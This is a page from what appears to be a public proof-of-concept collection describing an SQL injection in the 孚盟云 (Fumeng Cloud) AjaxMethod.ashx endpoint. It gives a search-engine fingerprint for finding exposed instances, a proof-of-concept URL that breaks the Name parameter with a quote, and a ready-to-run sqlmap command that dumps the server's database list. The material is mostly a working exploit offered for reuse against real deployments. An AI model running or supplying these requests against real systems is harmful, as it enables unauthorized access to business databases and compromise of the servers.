Awesome-POC/Web应用漏洞/孚盟云 AjaxMethod.ashx SQL注入漏洞.md

51 lines
720 B
Markdown
Raw Normal View History

2022-05-17 17:43:20 +08:00
# 孚盟云 AjaxMethod.ashx SQL注入漏洞
## 漏洞描述
孚盟云 AjaxMethod.ashx文件存在SQL注入漏洞攻击者通过漏洞可获取服务器权限
## 漏洞影响
```
孚盟云
```
2023-08-28 15:55:36 +08:00
## 网络测绘
2022-05-17 17:43:20 +08:00
```
title="孚盟云 "
```
## 漏洞复现
登录页面
2022-12-05 11:09:28 +08:00
![image-20220210184424096](./images/202202101844185.png)
2022-05-17 17:43:20 +08:00
验证POC
```plain
http://xxx.xxx.xxx.xxx/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27
```
2022-12-05 11:09:28 +08:00
![image-20220210184439151](./images/202202101844214.png)
2022-05-17 17:43:20 +08:00
使用Sqlmap
```plain
sqlmap -u "http://xxx.xxx.xxx.xxx/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y" -p Name --batch --random-agent --dbms mssql --dbs
```
2022-12-05 11:09:28 +08:00
![image-20220210184456424](./images/202202101844599.png)